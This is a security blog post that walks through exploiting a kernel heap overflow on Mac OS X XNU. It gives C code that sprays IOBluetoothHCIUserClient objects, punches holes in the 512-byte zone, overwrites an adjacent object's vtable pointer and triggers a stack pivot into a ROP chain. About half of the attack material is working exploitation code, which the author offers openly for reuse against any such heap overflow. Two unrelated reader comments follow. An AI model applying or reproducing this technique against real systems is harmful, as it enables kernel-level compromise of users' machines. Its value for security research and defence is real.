Exploitation of a generic Heap Overflow on Mac OS X XNU

So you got it. After all your search you have a way to make the kernel allocate say 400 bytes. Then write N bytes of your own data on it. You’re happy. Then you realise: “How the fuck am I going to exploit this anyway?”. You may know how already, then this post is not for you. Keep rocking.

But if you do not know how to exploit a kernel heap overflow (I guess many of you out there don’t know?), here’s how I’ve done it.

A 400 byte buffer allocated with kalloc (very probably it’ll be allocated by kalloc if it’s from stuff like IOMalloc) will be put into a 512 byte zone. Which means that many other 512 byte zone allocations are going to be very likely near the one you’re overflowing.

So, just get IOKit to allocate a new C++ object with size > 255 and < 512, pray to god that it’ll be allocated next to the overflow buffer, overflow into it, the vtable pointer will be overwritten. Once you control the vtable pointer you can just call IOConnectRelease() and the pointer at 0x20 of your vtable will be jumped into. Place a RAX stack pivot into that and the pivot will return into an address in a memory area you control.

Now, we don’t want to pray to god that our vulnerable buffer will be put before our IOKit object. So my idea (which came after looking a bit at @i0n1c’s xnu heap feng shui stuff) was to allocate a lot of small IOService objects, such as IOBluetoothHCIUserClient (which gets allocated in 512 byte zones as of 10.10.2, and which is what I’m using to gain code exec from my heap overflows), say 1000 times. This can be done easily by using IOServiceOpen. We store all the mach ports for each of these IOServices, then start IOConnectRelease()ing oen every two mach ports. That way it’s very likely that a subsequent allocation (of, say, your vulnerable heap buffer) will have an IOKit object you know everything about next to it.

There’s just one issue: You cannot be sure that your allocations are in subsequent memory. There may be holes in the heap. So, just allocate 500 objects, then another 1000. Release every odd object from the 1000 ones, but keep all the 500 ones intact. The first 500 will fill holes, and there will be an even bigger chance that the “holes” you’re creating in the heap will be subsequent.

This is the code: (note that I do a lot of series of allocations to have what I consider to be a good chance of hitting the exploit correctly)

uint64_t kernel_alloc_small_object() {

    kern_return_t err;

    CFMutableDictionaryRef matching = IOServiceMatching(“IOBluetoothHCIController”); 

    io_iterator_t iterator;

    err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);

    io_service_t service = IOIteratorNext(iterator);

    if (service == IO_OBJECT_NULL){

        printf(“unable to find service\n”);

        return 0;

    }

    io_connect_t conn = MACH_PORT_NULL;

    err = IOServiceOpen(service, mach_task_self(), 0, &conn);

    return conn;

}

void kernel_dealloc(uint64_t conn) {

    for (int i = 0; i < 255; i++) {

        IOConnectRelease((io_connect_t  )conn); // this calls the release method on our bluetooth object, which gets looked up on the vtable (which we control), and it gets jumped into. It does not succesfully release, however.

    }

}

static uint64_t alloc_table[0x5000];

    for (int i = 0; i < 2000; i++) {

        alloc_table[i] = kernel_alloc_small_object();

    }

    for (int i = 1000; i < 1500; i++) {

        if (i % 2) {

            kernel_dealloc(alloc_table[i]);

            alloc_table[i] = 0;

        }

    }

    uint64_t *vtable = calloc(0x1000, sizeof(uint64_t));

    vtable[0] = 0x1337133713371337;

    vtable[1] = POP_RSP_RET_GADGET;

    vtable[2] = MY_ROP_STACK;

    vtable[4] = MY_STACK_PIVOT; // rax = vtable, let’s consider the pivot puts RAX into RSP, pops rbp off it, and returns.

    kernel_exploit_allocate_vuln_buffer();

    kernel_exploit_overflow_vuln_buffer(vtable);

   // the overflow sprays the userspace vtable pointer into the next allocation, hopefully our IOBluetoothHCIController object, substituting the vtable pointer already present.

for (int i = 0; i < 2000; i++)

    if (alloc_table[i] )

        kernel_dealloc(alloc_table[i]); // when this hits our smashed IOBluetoothHCIController, kernel will try to call vtable[4], while holding vtable in RAX. This gives us control over RAX and RIP, enough to run a ROP payload.

This code should run a stack pivot (I assume the pivot does rsp = rax), modify RSP to an user-controlled memory area better suited as a stack and returns into the first gadget.

I hope this helps somebody. Reach me out on Twitter at @qwertyoruiop or via mail at me [.at.] qwertyoruiop [-dot-] com if it does 🙂

See you!

2 thoughts on “Exploitation of a generic Heap Overflow on Mac OS X XNU

    • Tell me about Version 10’2 of i7 device. Will not that research be done again? Are we promoting development at this time?

      I believe and I am waiting, but I think that I have to give up if I do not feel like that.

      Since other developers can not do it, I trust Luca.

      It’s hard to say people around the world are looking.

      Good luck with.

Leave a Reply

Your email address will not be published. Required fields are marked *